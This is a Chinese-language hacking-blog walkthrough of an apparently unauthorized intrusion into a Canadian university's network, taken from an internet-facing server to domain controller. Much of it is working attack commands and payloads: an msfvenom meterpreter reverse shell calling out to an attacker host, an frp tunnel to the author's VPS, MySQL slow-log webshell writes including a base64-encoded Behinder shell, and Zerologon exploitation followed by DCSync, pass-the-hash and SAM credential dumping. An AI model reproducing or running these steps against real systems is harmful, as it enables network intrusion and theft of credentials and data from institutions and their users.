黑客19 – 引领实战潮流,回归技术本质,我们用行动推动行业技术进步
唯一的联系方式[email protected] 和 [email protected]
欢迎转载,但请注明原始链接,谢谢!
背景
最近一直在做渗透测试项目,不需要内网渗透,成就感少了很多。于是,我在加拿大找到了一个大学系统linux服务器入口,web和c段落几乎已经获得,本教程主要介绍如何通过一个linux服务器渗透获得全校内网
入口
对于企业来说,一定有很多资产散落在外,所以为了快速管理,首先收集一波常规信息。首先,子域名爆破fofa、谷歌通过其中一个子域反搜寻找到多个子域IP,在历史分析记录中找到了真实的IP,再继续进行C扫描段端口,收集多个资产列表。XRAY跑一波,在其中一个资产中,发现了存在shiro手动测试反序列话漏洞:

于是拿出团队写的shiro反序列化程序测试

查看过程后,发现web是以jar如果包启动,不能直接写入shell,试着直接写内存shell:

蚁剑的成功写入shell,首先,本地配置和设置Accept-Header为:[email protected]

设置后直接连接,获取webshell:

内网漫游
翻看这个linux因为linux权限不够,无法查看shadow,试图提高权利也失败了,查看历史命令、计划任务等,没有收获。只能下载jar包下来分析,找到了mysql数据库配置密码。所以首先检测内网,看看能否快速获得其他主机的权限,而不是从数据库开始。
所以先做代理,配置frp,先上传客户端到web上,修改了一下frpc.ini文件,使用sock代理:

自己的VPS上传服务端,修改权限,直接执行./frps -c frps.ini:

然后返回客户端执行./frpc -c frpc.ini,即可使用。
本地使用proxifier代理一下:

先用弱口令爆破工具爆破一波。果然,我找到了两个linux弱口令:

继续翻文件,还是一无所获,浪费了很多时间。也许核心业务不在linux试试能不能得到一个windows权限。先试试ms17-010漏洞,先生成木马:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=2233 -f elf > linux.elf
上传到web上,本地msf监听一下:
use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp show options set LHOST 1.1.1.1 set LPORT 23333 run
在web下达命令linux.elf直接操作后添加执行权限,即可获得meterpreter。然后添加路由:

使用17-010跑扫描模块:

没有扫到任何漏洞,怀疑有没有问题,当地代理用工具再跑一次:

真的不存在。这个补丁真的打了,白忙了一场。想到之前还没有使用数据库的连接串,可能有点搞笑。因为之前代理过,直接用navicat连接数据库,查看一下mysql版本是5.7:

由于secure-file-priv存在,不能尝试提权。nmap扫描数据库ip8090端口还有一个地址php服务器是系统server。于是先查询一下mysql发现数据库文件的路径不是phpstudy或者wamp等待软件一键构建:

可要想获取shell,前提要得到web只有通过路径,才能写入木马,通过web未获得报错页面和目录扫描。于是我开始尝试。IIS的默认路径c:\Inetpub\wwwroot\,写入后无法访问。mysql是放在d所以试试盘下d盘的d:\www、d:\Inetpub\wwwroot\、d:\data等路径,没有访问,最后随意测量d:\web,成功写入mysql慢日志写shell过程如下:
set global slow_query_log=’ON’; set global slow_query_log_file=’D:/web/cmd.php’; select ‘<?php echo system($_GET[123]);>’ or sleep(11); set global slow_query_log=’OFF’;

因为有杀软,一句普通的话木马直接被杀,所以重写一个冰蝎马:
set global slow_query_log=’ON’; set global slow_query_log_file=’D:/web/t.php’; select ‘<?php file_put_contents(“.1.php”,base64_decode(“PD9waHAKQGVyc**yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7CgkkX1NFU1NJT05bJ2snXT0ka2V5OwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zd**iIik7CgkJCgkJZ**yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19pbnZva2UoJHApIHtldmFsKCRwLiIiKTt9fQogICAgQGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7CiA/PiA=);’ or sleep(11); set global slow_query_log=’OFF’;

写入后直接访问t.php,重新生成.1.php冰蝎马,直接连接:

检查系统权限,有点低:

因为是服务器server2012,无法直接获得windows密码,还有国外某某科技的杀软,现有的提权工具都被杀了,技术不能绕过,还是换个思路。
于是,开始搜索文件,看看是否会有敏感信息。在服务器上找到多套源代码,在其中一个文件中找到配置信息:

试着连接数据库,失败!!
通过这个收集到的密码,制作密码字典,开始爆破C段的RDP、mysql、sqlserver、ftp等服务:

爆破后,发现是当前服务器administrator3389端口可以通过之前的端口信息收集远程登录。
或者继续收集信息,检查当前服务器是否是域内机器,如果存在域相对较好。
net time /domain
目前知道当前的机器在域内,并有了服务器的管理员权限。可以尝试通过导出hash获取域账号信息的方式,然后进行PTH。因此,直接远程连接,右键导出lsass.exe进程的dump上传免杀文件mimikatz读取,但最终读取失败:

似乎只能通过其他方法来联想不久前爆发的事情。NetLogon权限提升漏洞,可以试试,毕竟时间过得不久,可能还没有补丁。
使用github上的搜到的脚本尝试一下,先验证是否存在漏洞:
python3 zerologon_tester.py DC 10.100.1.231

返回success,表示有漏洞。
使用cve-2020-1472-exploit.py将机器账户重置:

使用DCSync导出域内所有用户凭证:

通过wmic进行pass the hash,域控制器中的管理员权限可获得:

到目前为止,已经获得了核心权限,截图,迅速恢复机器账号密码,否则脱域问题会很大。
先导出SAM下载后记得删除数据库文件:
reg save HKLM\SYSTEM system.save reg save HKLM\SAM sam.save reg save HKLM\SECURITY security.save get system.save get sam.save get security.save del /f system.save del /f sam.save del /f security.save
通过sam获得原始文件等ntlm hash:
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

通过获得$MACHINE.ACC账户的hash,进行恢复:
这种渗透主要是通过外网进行的shiro漏洞上传内存马,快速管理,使跳板进入内部网络。然后通过源代码获取数据库配置文件,尝试获得数据库服务器的普通权限,继续收集信息,获得当地管理员的权限,发现服务器存在于域内NetLogon漏洞,之后成功获得域控。这个渗透教程到此结束。!希望大家看看借鉴。如果您有技术咨询,请联系我们
黑客19引领实战潮流,回归技术本质,以行动推动行业技术进步
唯一的联系方式[email protected] 和 [email protected]
欢迎转载,但请注明原始链接,谢谢!